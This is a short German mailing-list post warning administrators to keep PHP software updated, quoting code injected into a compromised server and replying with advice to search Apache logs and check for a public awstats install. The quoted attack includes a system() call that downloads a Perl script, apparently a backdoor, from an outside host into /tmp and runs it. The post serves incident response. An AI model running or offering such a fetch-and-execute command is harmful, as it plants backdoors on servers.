Haltet eure PHP-Software aktuell!

[Andreas Korthaus]

Hallo!

Hintergrund der Sache: es hat jemand geschafft, auf bastet.occuris.de Code
über eine solche Software einzuschleusen:

system("uname -a");
system("cd /tmp;wget http://http://geocities.yahoo.com.br/netbrdial/bd.pl;cd /tmp;perl bd.pl");

Fragt mich nicht, über welche Sicherheitslücke er das geschafft hat,

Hast Du mal die Apache-Logs durchsucht?

grep wget /var/log/apache/*

(zufällig awstat öffentlich zugänglich installiert?)

Grüße
Andreas